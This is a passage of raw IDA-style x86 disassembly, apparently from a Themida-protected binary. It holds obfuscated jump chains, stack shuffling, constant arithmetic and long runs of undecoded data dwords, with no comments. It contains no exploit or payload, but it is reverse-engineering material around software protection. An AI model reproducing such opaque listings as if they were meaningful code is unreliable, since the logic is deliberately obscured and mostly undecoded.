		dd 305A89E4h, 83241C8Bh, 9D6104C4h, 0EA22E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5484D2:				; CODE XREF: Themida_:0054FA72j
		push	53BFh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_548063
; ---------------------------------------------------------------------------

loc_5484E1:				; CODE XREF: Themida_:005473ADj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp

loc_5484E8:				; CODE XREF: Themida_:loc_549B65j
		push	3AD8h
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_54FAF2
; ---------------------------------------------------------------------------
		dd 8958C331h, 0EC835BD8h, 6401E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548512:				; CODE XREF: Themida_:005513A2j
		mov	edx, 0AD31A46h
		neg	edx
		xor	edx, 327D4872h
		add	edx, 59541CF9h
		sub	edx, 14D4566Fh
		jmp	loc_54F8C2
; ---------------------------------------------------------------------------
		dd 295AD029h, 4EC83D8h,	0BF243C89h, 89E1B5Bh, 2D5FF801h
		dd 33FB63E2h, 70B7E9h, 0E9A2E900h, 8B66FFFFh, 0E9532404h
		dd 0A548h, 2424895Ch, 6C56E9h
		db 0
; ---------------------------------------------------------------------------

loc_548565:				; CODE XREF: Themida_:00549A8Fj
		and	ebx, 5D466EF2h
		sub	ebx, 12B5685h
		sub	ebx, 69CC1770h
		sub	ebx, 0D54EFAD9h
		add	edx, ebx
		pop	ebx
		push	esi
		mov	esi, 7F8C1FBBh
		xor	esi, 788C2CC1h
		sub	esi, 77A13A88h
		add	esi, 70A10712h
		jmp	loc_54C7C1
; ---------------------------------------------------------------------------
		db 50h,	0FFh, 74h
		dd 8F580424h, 515C2404h, 0F6FDB050h, 3E8C0D8h, 0D0F6C8FEh
		dd 0ED341D24h, 59FE953h, 1C890000h, 21D2E924h, 24890000h
		dd 24048124h, 4, 5624148Bh, 0C6815E54h,	4, 10B3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5485E1:				; CODE XREF: Themida_:00552A62j
		pop	dword ptr [esp]
		jmp	loc_54F2E3
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 2C31D5F7h, 14FEE924h, 875D0000h, 0E95C243Ch,	7361h
		dd 815BDD01h, 0AA1661EDh, 2C8FE916h, 0BB530000h, 69FF2572h
		dd 93E9D831h, 5F000048h, 18ABF781h, 0F8892D10h,	8BC3015Fh
		dd 0B8E92404h, 0FF000098h, 34FF2434h, 3BABE924h, 0DA010000h
		dd 81241C8Bh, 4C4h, 5AD70100h, 4B951h, 0C7810000h, 2FF15BCEh
		dd 2DC0C781h, 0CF2971C4h, 2DC0EF81h, 0EF8171C4h, 2FF15BCEh
		dd 83240C8Bh, 3C8704C4h, 1FF2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548676:				; CODE XREF: Themida_:0054FEECj
		and	ch, 0D4h
		or	ch, 0BEh
		jmp	loc_54AE99
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 8924248Bh, 0BD55240Ch, 6664304Bh, 780DE581h,	0A6E902D4h
		dd 6800000Ah, 3EC3h, 54242C89h,	3308E9h
		db 0
; ---------------------------------------------------------------------------

loc_5486A9:				; CODE XREF: Themida_:0054C9FFj
		mov	[edx], ebp
		jmp	loc_54C565
; ---------------------------------------------------------------------------
		dd 0B60F6664h, 2D686602h, 489665Eh, 0E832E924h,	0E954FFFFh
		dd 0A087h, 8324048Bh, 895104C4h, 4C181E1h, 0E9000000h
		dd 581Dh, 4F29E953h, 0E5810000h, 638C3C8Eh, 773C581h, 6DE91D87h
		dd 81000011h, 4C7h, 0E869E900h,	1C89FFFFh, 815B5424h, 4C3h
		dd 39B95100h, 0E91D6C68h, 5F2Bh
; ---------------------------------------------------------------------------

loc_548714:				; CODE XREF: Themida_:0054750Cj
		xor	edi, esi
		push	eax
		push	edi
		push	dword ptr [esp]
		jmp	loc_54C944
; ---------------------------------------------------------------------------

loc_548720:				; CODE XREF: Themida_:0054ED15j
		push	dword ptr [esp+4]
		jmp	loc_54A480
; ---------------------------------------------------------------------------

loc_548729:				; CODE XREF: Themida_:0054E831j
		mov	edx, ebx
		pop	ebx
		sub	[edi+24h], edx
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	edx, edx
		push	ebx
		jmp	loc_5479AF
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8957240Ch, 5C8968E7h, 0C890000h, 6D03E924h, 0E9810000h
		dd 8105B63h, 0B7BE981h,	1C8B3873h, 4C48124h, 87000000h
		dd 0E95C240Ch, 5A0Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_54DE24
; ---------------------------------------------------------------------------

loc_548784:				; CODE XREF: Themida_:00552D1Bj
		xor	ebp, ebx
		pop	ebx
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_552D20
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 3895h
; ---------------------------------------------------------------------------

loc_54879C:				; CODE XREF: Themida_:0055044Cj
		shl	eax, 6
		and	eax, 705C7575h
		sub	eax, 7008413Ch
		sub	ebx, 6F14369Dh
		add	ebx, eax
		add	ebx, 6F14369Dh
		pop	eax
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5512DC
; ---------------------------------------------------------------------------
		dd 0E99CC83Bh, 30Dh, 31240433h,	4332404h, 83E95C24h, 5C000015h
		dd 31243433h, 31E92434h, 89FFFFE7h, 36BE2434h, 0C1549423h
		dd 0E68102EEh, 286F1AF9h, 0EED14E46h, 7BA0C681h, 0F201FFEDh
		dd 8124348Bh, 4C4h, 0E3895300h,	4C381h,	0EB810000h, 4
		dd 5C241C87h, 0BD242C89h, 3B7549FAh, 49F8F581h,	0EA293B75h
		dd 2414875Dh, 6624248Bh, 66240C89h, 66C8B60Fh, 0A9E99C51h
		dd 89FFFFE6h, 0E0892404h, 405h,	89575200h, 4C781E7h, 83000000h
		dd 3C8704EFh, 2C895C24h, 26824h, 895D0000h, 242C8BEAh
		dd 4C481h, 0D0010000h, 0E92434FFh, 87D2h, 6C256C05h, 3E2D4057h
		dd 0E96DDD2Eh, 38DFh
; ---------------------------------------------------------------------------

loc_548894:				; CODE XREF: Themida_:00547D45j
					; Themida_:0054EA15j ...
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54CB47
; ---------------------------------------------------------------------------

loc_5488B1:				; CODE XREF: Themida_:0054EDC8j
		mov	ebp, 3D614042h
		sub	ebp, 0E20E711Bh
		sub	edi, 56321A18h
		add	edi, 13BE4DA2h
		sub	edi, ebp
		sub	edi, 13BE4DA2h
		add	edi, 56321A18h
		pop	ebp
		and	eax, edi
		jmp	loc_54EEBE
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E1E92404h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5488E7:				; CODE XREF: Themida_:0054CB20j
		mov	ebx, 4
		jmp	loc_5525CE
; ---------------------------------------------------------------------------

loc_5488F1:				; CODE XREF: Themida_:00547F39j
		dec	bl
		not	bl
		add	bl, 0FFh
		shr	bl, 2
		or	bl, 5Bh
		jmp	loc_54E359
; ---------------------------------------------------------------------------

loc_548903:				; CODE XREF: Themida_:005479BDj
		mov	ebx, ecx
		pop	ecx
		add	[esp+4], ebx
		jmp	loc_54C6B1
; ---------------------------------------------------------------------------
		db 0BDh
		dd 790843B3h, 59F9F581h, 0EDC15CC3h, 0BDC58104h, 29800006h
		dd 0F8015DEFh, 86EA815Fh, 163FE36h, 363EE9C2h, 68560000h
		dd 1B521B93h, 0E9B9515Eh, 21214021h, 2434FFCEh,	0E2895259h
		dd 4C281h, 0C2830000h, 24148704h, 0BEE815Ch, 89B9ACB6h
		dd 0E7815EF7h, 512E1C9Ah, 688AB850h, 0B95169A9h, 4A2C71ADh
		dd 9AE0E9h, 55DFF700h, 91BF5750h, 897AC175h, 19A4E9F8h
		dd 0C0830000h, 96896FFh, 0E9000045h, 0FFFFE627h, 503C77FFh
		dd 0E34ADFB8h, 2444297Dh, 68585804h, 995h, 53243C89h, 25CFBA52h
		dd 0DCBB19E4h, 0E95785DAh, 47D0h, 0EA08D1B5h, 7C3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5489C9:				; CODE XREF: Themida_:005501E1j
		push	40h
		push	dword ptr [esp]
		jmp	loc_54A908
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4ECh, 241C8900h, 0E952E389h,	2CBEh
; ---------------------------------------------------------------------------

loc_5489E8:				; CODE XREF: Themida_:0054E2C7j
		mov	ecx, 4
		mov	edx, ecx
		pop	ecx
		jmp	loc_549E4B
; ---------------------------------------------------------------------------
		db 56h,	52h, 68h
		dd 391A19BCh, 8324148Bh, 0DAF704C4h, 82A3E9h, 5DBCBD00h
		dd 0C1453B9Bh, 0C14D04EDh, 0EDC104EDh, 4FC58104h, 0E9FFFC46h
		dd 1C65h, 4EC81h, 0C890000h, 55595424h,	4BDh, 8BE90100h
		dd 59E9242Ch, 68000096h, 1B01h,	83240489h, 2C8904ECh, 8666824h
		dd 815D780Ch, 1EDh, 53DDF700h, 1997E9h,	0BFF28100h, 29F8B271h
		dd 0D32958C2h, 5A2434FFh, 3EA1E9h
		db 0
; ---------------------------------------------------------------------------

loc_548A75:				; CODE XREF: Themida_:005476AAj
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		movzx	ecx, al
		push	41h
		mov	[esp], ecx
		jmp	loc_546EF4
; ---------------------------------------------------------------------------

loc_548A97:				; CODE XREF: Themida_:00547303j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	eax, eax
		jmp	loc_54706C
; ---------------------------------------------------------------------------

loc_548AA7:				; CODE XREF: Themida_:0054E0F3j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	ecx
		pop	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		jmp	loc_550321
; ---------------------------------------------------------------------------
		dd 0D0DABE58h, 0EE01FE67h, 1487E9h
		db 0
; ---------------------------------------------------------------------------

loc_548AC9:				; CODE XREF: Themida_:0054F7ABj
		xchg	bh, al
		push	ecx
		mov	cl, 24h
		inc	cl
		jmp	loc_54C029
; ---------------------------------------------------------------------------
		db 9, 0C8h, 59h
		dd 86F3E9h, 0E412E900h,	0C87FFFFh, 24248B24h, 8BFEE9h
		db 0
; ---------------------------------------------------------------------------

loc_548AED:				; CODE XREF: Themida_:0054F765j
		push	dword ptr [esp]
		pop	ebx
		push	edi
		jmp	loc_5473A5
; ---------------------------------------------------------------------------

loc_548AF7:				; CODE XREF: Themida_:00550D96j
		neg	ecx
		add	ecx, 8F53ABEh
		or	ecx, 0B106A95h
		jmp	loc_5476F3
; ---------------------------------------------------------------------------

loc_548B0A:				; CODE XREF: Themida_:0054D652j
		inc	esi
		jmp	loc_54D339
; ---------------------------------------------------------------------------
		dd 1C6805Bh, 0DF68DEF6h, 89000039h, 0BBB1240Ch,	0C1FEC9FEh
		dd 8056E180h, 0E9807AE1h, 0C4C180B1h, 0B7E9D9F6h, 5000000Dh
		dd 75A2BE56h, 97E9242Ah
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_548B43:				; CODE XREF: Themida_:00549847j
		pop	eax
		xor	eax, 644717B0h
		pop	ecx
		push	eax
		pop	ebx
		pop	eax
		add	ebx, edi
		push	dword ptr [ebx]
		sub	dword ptr [esp], 59F4D01h
		jmp	loc_54C58F
; ---------------------------------------------------------------------------
		db 88h,	0C3h, 88h
		dd 51585BDDh, 0C5FEF8B5h, 0E91BED80h, 8778h
; ---------------------------------------------------------------------------

loc_548B70:				; CODE XREF: Themida_:00550D6Ej
		mov	edi, edx
		pop	edx
		jmp	loc_54A73F
; ---------------------------------------------------------------------------
		dd offset dword_4E414C+31Ch
		dd 240C8900h, 8547E9h, 0DAB85000h, 15A8B5Dh, 2434FFC3h
		dd 4C48158h, 8B000000h,	0C4832434h, 5694E904h, 34FF0000h
		dd 24048B24h, 56E28952h, 320B850h, 0C6896D52h, 0B9514658h
		dd 2EEF3DB9h, 0FFF2BBE9h, 0E32EE9FFh, 7668FFFFh, 0E9000019h
		dd 0FFFFF54Ch, 8568F8BAh, 8A80E93Fh, 87660000h,	669766FDh
		dd 0D7F76697h, 31669766h, 0F83166C7h, 66C73166h, 3166FD31h
		dd 1016E9EFh, 14330000h, 9C5DE924h, 0FA010000h,	2414875Fh
		dd 48B665Ch, 56E924h, 4A680000h, 8900003Eh, 9BD242Ch, 89721341h
		dd 0DFF75DEFh, 0FFF584E9h, 240C33FFh, 6624248Bh, 5456E1F7h
		dd 2A1AE95Eh, 0C2B90000h, 81494C37h, 4C37BEE9h,	0FEEB8149h
		dd 0E9614471h, 627Bh, 29403868h, 2D485873h, 323D3D93h
		dd 17008C05h, 0E9C629E1h, 0FFFFECF6h, 0D9E95451h, 8B00006Ah
		dd 0C481240Ch, 4, 0FFE277E9h, 66C361FFh, 5324048Bh, 0C381E389h
		dd 4, 0E904EB83h, 40Eh
; ---------------------------------------------------------------------------

loc_548C94:				; CODE XREF: Themida_:0054F24Aj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		sub	dword ptr [esp], 3709146Dh
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_54C0FC
; ---------------------------------------------------------------------------

loc_548CB6:				; CODE XREF: Themida_:0054BDF0j
		pop	eax
		or	edi, 7CD45334h
		add	edi, 0B7CD0502h
		sub	eax, edi
		pop	edi
		sub	eax, 55BF0727h
		jmp	loc_54F125
; ---------------------------------------------------------------------------
		dd 56E38953h, 43F5E9h
		db 0
; ---------------------------------------------------------------------------

loc_548CD9:				; CODE XREF: Themida_:0054BAC6j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_54A4BA
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_549D98
; ---------------------------------------------------------------------------
		dd 88C18851h, 0E95859CFh, 0FFFFEC52h, 5077F781h, 0EFC15B1Dh
		dd 7FE94F06h, 0BF000075h, 9339BE53h, 53E9F701h,	56000048h
		dd 0C681E689h, 4, 8704C683h, 0FF5C2434h, 0EE92434h, 66000079h
		dd 8324048Bh, 3C8904ECh, 6FE95424h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_548D67:				; CODE XREF: Themida_:0055244Dj
		mov	esi, 1DE9CC8Fh
		xor	ebp, esi
		pop	esi
		and	ecx, ebp
		pop	ebp
		shr	ecx, 7
		jmp	loc_548E98
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 467F1DF9h, 0B9B8C681h, 0F501F9EFh, 0FFE1EEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548D8D:				; CODE XREF: Themida_:0055268Dj
		add	esp, 4
		shr	ecx, 7
		push	182Bh
		mov	[esp], ecx
		mov	ecx, 153360CDh
		shl	ecx, 8
		shr	ecx, 8
		jmp	loc_54AA5E
; ---------------------------------------------------------------------------
		dw 0E983h
		dd 240C8704h, 242C895Ch, 7B88E954h, 0BD550000h,	4, 15DE989h
		dd 77D7E9CAh, 0E5890000h, 15F4E951h, 0E95F0000h, 5607h
		dd 0FD368h, 24348900h, 3E1EE9h,	9CF8100h, 81330F0Ah, 192E8FCFh
		dd 81DFF757h, 80D03DEFh, 1BEE8188h, 15B2253h, 1BC681FEh
		dd 5F5B2253h, 6E5268h, 240C8900h, 7F0CE0B9h, 53E1D128h
		dd 0F22BE3BBh, 0BFF3816Dh, 314BFF3Bh, 81415BD9h, 0F3099FF1h
		dd 47EE8176h, 2923FE74h, 47C681CEh, 8B23FE74h, 0C483240Ch
		dd 24348704h, 6624248Bh, 66241489h, 9DE99C50h, 68FFFFE0h
		dd 4EBDh, 53240489h, 603B42BBh,	48E38133h, 8177C166h, 0CB3C03CBh
		dd 37B85007h, 0F7675D0Bh, 0E9BEE9D8h, 248BFFFFh, 0C8B6624h
		dd 9136E924h, 53590000h, 0BBh, 0E9FB2900h, 674Ah
; ---------------------------------------------------------------------------

loc_548E98:				; CODE XREF: Themida_:00548D75j
		sub	esp, 4
		jmp	loc_547511
; ---------------------------------------------------------------------------

loc_548EA3:				; CODE XREF: Themida_:0054B723j
		push	edx
		mov	edx, 538F3471h
		dec	edx
		xor	edx, 5CA65328h
		add	ebp, edx
		pop	edx
		jmp	loc_552010
; ---------------------------------------------------------------------------
		dd 282DB753h, 0D1F65BF9h, 806EE980h, 0C18094E9h, 9BD0E9EBh
		dd 0F3290000h, 0DE068h,	4633E900h, 0F6810000h, 6B9E2F3Ah
		dd 0F681D6F7h, 314A605Fh, 0E6C1D6F7h, 82C68107h, 8980E29Ch
		dd 9496E9F0h, 1C890000h, 0C8E95224h, 5F000006h,	500D40h
		dd 0E9576925h, 4B91h, 0C8B0E04h, 4C48324h, 0FEE95266h
		dd 66000024h, 6615D568h, 66240C89h, 22474FFh, 6E3DE9h
		db 0
; ---------------------------------------------------------------------------

loc_548F31:				; CODE XREF: Themida_:00549C74j
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 726B3D7Dh
		or	ecx, 918690Bh
		push	ecx
		not	dword ptr [esp]
		jmp	loc_54E6A7
; ---------------------------------------------------------------------------
		dw 5657h
		dd 337A2EBEh, 0FDD5E972h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548F5E:				; CODE XREF: Themida_:0054EABBj
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	2868h
		mov	[esp], ecx
		mov	ch, dl
		jmp	loc_54C788
; ---------------------------------------------------------------------------

loc_548F7F:				; CODE XREF: Themida_:00551F36j
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_546EF4
; ---------------------------------------------------------------------------
		db 88h
		dd 88DDF6C5h, 49E959E8h, 5F00008Fh, 4BB53h, 0B8500000h
		dd 5A635527h, 8158C701h, 541D39EFh, 41EF8172h, 0E9377269h
		dd 1A0Fh, 53D830ACh, 0E380EAB3h, 0E9D3F6F4h, 899Eh, 5CE95152h
		dd 5D00004Dh, 4C581h, 0BE560000h, 2, 16ACC581h,	58E971BBh
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548FE7:				; CODE XREF: Themida_:00551A24j
		push	edx
		mov	edx, 72E12C56h
		jmp	loc_54AEA1
; ---------------------------------------------------------------------------

loc_548FF2:				; CODE XREF: Themida_:005500A2j
		xor	eax, [esp]
		jmp	loc_551483
; ---------------------------------------------------------------------------

loc_548FFA:				; CODE XREF: Themida_:00552A7Fj
		sub	bl, dh
		jmp	loc_550E99
; ---------------------------------------------------------------------------
		db 5Ah,	5, 61h
		dd 5146E29h, 6714910h, 39734B05h, 2DE95170h, 5C000099h
		dd 42EEF80h, 2CF80002h,	0FE95B02h, 0AD000021h, 1A8FBA52h
		dd 392D2760h, 0E90ECB58h, 19DAh, 0E281DAF7h, 31AB09B9h
		dd 0C911EA81h, 0D7010F17h, 0EC81595Ah, 4, 0FF243C89h, 8B042474h
		dd 0C483243Ch, 24048F04h, 0E924248Bh, 3DC6h, 7EAC159h
		dd 731DE281h, 0B95144D3h, 534000h, 5CA7EA81h, 0CA290B34h
		dd 5CA7C281h, 0C8B0B34h, 4C48324h, 55AD001h, 2,	8B240487h
		dd 88642424h, 0DE52E902h, 1C87FFFFh, 0D3E95C24h, 8300002Dh
		dd 48704C0h, 0C3815C24h, 4, 5C241C87h, 81585450h, 4ECh
		dd 241C8900h, 21EBD55h,	0E5C10BFDh, 0F60CE905h,	8359FFFFh
		dd 348904ECh, 4BE24h, 22E90000h, 8300007Ch, 0F20104C4h
		dd 20FDE95Eh, 30B80000h, 31344972h, 0EC8358C6h,	24048904h
		dd 1D60B3B8h, 0E9C62994h, 5E23h, 243C3358h, 3BEEE9h
		db 0
; ---------------------------------------------------------------------------

loc_549115:				; CODE XREF: Themida_:00551DBAj
		xor	eax, 76F8E77h
		add	ebx, eax
		pop	eax
		mov	ecx, [ebx]
		pop	ebx
		push	edx
		mov	edx, 1C62303h
		push	edi
		mov	edi, 74002C29h
		push	ebp
		mov	ebp, 6B237523h
		or	edi, ebp
		pop	ebp
		jmp	loc_550D73
; ---------------------------------------------------------------------------
aZsc		db '[Zé—}',0
		dd 81D5F700h, 0A11A82E5h, 68F58142h, 816A0B23h,	602A88F5h
		dd 3EED8162h, 0E948CA03h, 7376h
; ---------------------------------------------------------------------------

loc_549160:				; CODE XREF: Themida_:00551898j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_547C58
; ---------------------------------------------------------------------------
		db 0FEh, 0C3h, 0F6h
		dd 0E9DBF6D3h, 377Dh
; ---------------------------------------------------------------------------

loc_54917C:				; CODE XREF: Themida_:0055071Dj
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_549BA0
; ---------------------------------------------------------------------------

loc_549187:				; CODE XREF: Themida_:005512E3j
		jmp	loc_546EF4
; ---------------------------------------------------------------------------
		dd 0C2805966h, 0E78957FDh, 4C781h, 0EF830000h, 1CD7E902h
		dd 0E95D0000h, 0FFFFDD4Ch, 24048966h, 0FFDD43E9h, 49C380FFh
		dd 179CE9h, 4C48300h, 883BE9h, 2CC18100h, 89CFC517h, 0EEC159CEh
		dd 0EC815208h, 4, 543FE9h
		db 0
; ---------------------------------------------------------------------------

loc_5491D9:				; CODE XREF: Themida_:0054F9FCj
		mov	[esp], eax
		jmp	loc_54CEBA
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0EEh
		dd 1722646h, 0EEED81FDh, 5F722646h, 5C242C87h, 4D3B951h
		dd 0CA29103Fh, 83240C8Bh, 90E904C4h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549207:				; CODE XREF: Themida_:00552A99j
		push	ebx
		mov	ebx, 70BB6D0Bh
		push	ebp
		mov	ebp, 70BB6D0Ch
		add	ebx, 1AC4775Eh
		sub	ebx, ebp
		sub	ebx, 1AC4775Eh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebx
		jmp	loc_54F101
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 9ABA5203h, 4A39BE0Ah, 32A2C281h, 0BF57428Eh,	1BEF08F3h
		dd 0FBE9FA09h, 8F00007Ah, 248B2404h, 48B6624h, 4EC8324h
		dd 54240C89h, 0E2DE959h, 0C4810000h, 4,	93B45066h, 5866E728h
		dd 285BF988h, 0E95966C8h, 59DDh, 81E68956h, 4C6h, 4BD5500h
		dd 0E9000000h, 0FFFFDEB3h
; ---------------------------------------------------------------------------

loc_549290:				; CODE XREF: Themida_:005506A1j
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_54DD08
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0FFF1E1E9h, 8CF781FFh, 0F7223606h, 0DCE947DFh, 81000068h
		dd 1D66B6E9h, 311EE972h, 14890000h, 81E28924h, 4C2h, 0B9515600h
		dd 42C06171h, 0BC4D2968h, 24348B7Ch, 4C481h, 0CE310000h
		dd 52240C8Bh, 42D4E9h, 4C28300h, 0E9241487h, 93E2h
; ---------------------------------------------------------------------------

loc_5492FC:				; CODE XREF: Themida_:0054B24Aj
		not	cl
		or	cl, 4Dh
		jmp	loc_54C70A
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 9D651BDh, 4D21C381h,	0D329386Eh, 4EC81h, 34890000h
		dd 1FFFBE24h, 0EE81627Bh, 28DD66E7h, 9409C681h,	25E9FED0h
		dd 5D000085h, 5024048Bh, 6034E9h, 242C8100h, 491051C1h
		dd 63E5815Dh, 81651747h, 6ECF84C5h, 5DEB01EAh, 24148B66h
		dd 375EE9h, 72D6BF00h, 0E5E91C29h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549367:				; CODE XREF: Themida_:0054A526j
		add	ch, 7Eh
		and	al, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	5866h
		mov	[esp], ebx
		push	2898h
		mov	[esp], esi
		push	eax
		pop	esi
		push	edi
		jmp	loc_551497
; ---------------------------------------------------------------------------

loc_54938B:				; CODE XREF: Themida_:0054E9F2j
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		sub	ebp, edi
		pop	edi
		push	129Ah
		jmp	loc_55244A
; ---------------------------------------------------------------------------

loc_54939F:				; CODE XREF: Themida_:0054CE58j
		mov	ecx, esp
		jmp	loc_54BFCD
; ---------------------------------------------------------------------------

loc_5493A6:				; CODE XREF: Themida_:0054F89Dj
		push	ecx
		mov	ecx, esp
		jmp	loc_5506A6
; ---------------------------------------------------------------------------
		dw 0F201h
		dd 6824348Bh, 4B0h, 89242C89h, 90E950E5h, 8700003Bh, 7E92404h
		dd 8900004Ch, 6853240Ch, 73321B7Dh, 2D5CE95Bh, 4B80000h
		dd 1000000h, 53FE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5493E6:				; CODE XREF: Themida_:0054DF3Ej
		and	ebp, 7B676BE9h
		add	ebp, 27FE5233h
		add	ebp, 19F9883Fh
		sub	ecx, ebp
		jmp	loc_552A67
; ---------------------------------------------------------------------------

loc_5493FF:				; CODE XREF: Themida_:0054B0DDj
		jz	loc_54EE7A
		push	70DDh
		mov	[esp], ecx
		mov	ecx, 28h
		jmp	loc_5525D9
; ---------------------------------------------------------------------------
		db 66h
		dd 5324048Bh, 342B68h, 48F5400h, 24048324h, 3D2E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54942E:				; CODE XREF: Themida_:0054A8EAj
		pop	esi
		add	ebx, 2E7935D6h
		sub	ebx, 27BC0F34h
		add	ebx, esi
		add	ebx, 27BC0F34h
		sub	ebx, 2E7935D6h
		pop	esi
		push	dword ptr [eax]
		jmp	loc_54BA98
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 44h
		dd 81164D71h, 144587EDh, 0C2ED8170h, 29DB6E40h,	0D6015DEAh
		dd 4BD555Ah, 1000000h, 34875DEEh, 24248B24h, 0FFF34BE9h
		dd 0A76866FFh, 7503E931h, 0C9FE0000h, 8006E1C0h, 0C9FEDEC1h
		dd 8046E980h, 0C38098F1h, 80CB002Ah, 9AE92AEBh,	66000002h
		dd 662AFA68h, 0E924148Bh, 21Ch
; ---------------------------------------------------------------------------

loc_5494B0:				; CODE XREF: Themida_:0054C1B9j
		add	esp, 4
		push	7E6Ch
		mov	[esp], edi
		pop	eax
		push	dword ptr [esp]
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_54A7B3
; ---------------------------------------------------------------------------
		db 88h
		dd 0F58851C6h, 5A59EF88h, 1509E9h, 6E9C100h, 4EC81h, 0BE90000h
		dd 81FFFFFAh, 1212D1C1h, 59CF01C8h, 2783BB53h, 0EBC10670h
		dd 0C3814B08h, 3C261D76h, 0F072C381h, 0DF294BE2h, 81241C8Bh
		dd 4C4h, 0E554E900h, 0C87FFFFh,	4335C24h, 24043124h, 8B240433h
		dd 89662424h, 50662414h, 0D9BAE99Ch, 0C701FFFFh, 4C78158h
		dd 33000000h, 9E9243Ch
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54954B:				; CODE XREF: Themida_:0054CFCAj
		sub	edx, eax
		pop	eax
		and	ecx, edx
		pop	edx
		xor	ecx, 728103E0h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_54F956
; ---------------------------------------------------------------------------
		db 0B9h
		dd 7B7A67F3h, 9D8EBDBEh, 0C2C681B5h, 29716E3Bh,	0C2EE81CEh
		dd 59716E3Bh, 7318B951h, 0CE290359h, 0FABA5259h, 1533F55h
		dd 0E6C15AD6h, 0BDE68102h, 5151D91Dh, 0F1E9h, 0BEE38100h
		dd 8123A902h, 464462EBh, 0FFEB8117h, 0E9FFFFFFh, 3DB1h
; ---------------------------------------------------------------------------

loc_5495B0:				; CODE XREF: Themida_:005525D4j
		sub	edi, ebx
		sub	edi, 69834A0Dh
		pop	ebx
		jmp	loc_54B3F3
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 0FFFFFFFFh, 0B9E9E987h, 8300007Ch, 48904ECh,	681CB824h
		dd 102D4F2Bh, 0F73A1F19h, 2DD0F7D0h, 5DDF1F66h,	9C055305h
		dd 0C589554Dh, 39E9EA89h, 8000007Ch, 525101EEh,	61B16CB2h
		dd 898FE9h, 4BB00h, 0C1810000h,	38730B7Bh, 0E993E955h
		dd 0C381FFFFh, 4, 4C381h, 1C870000h, 685C24h, 0E9000000h
		dd 0B9Ch, 41CC981h, 0B3E93292h,	8B000025h, 0EC812424h
		dd 4, 0E9242C89h, 0FFFFF80Fh
; ---------------------------------------------------------------------------

loc_549648:				; CODE XREF: Themida_:0054FA8Fj
		xchg	eax, [esp]
		jmp	loc_54F92B
; ---------------------------------------------------------------------------

loc_549650:				; CODE XREF: Themida_:0054DF2Fj
		neg	ebp
		xor	ebp, 56E3BEFh
		sub	ebx, ebp
		pop	ebp
		pop	edi
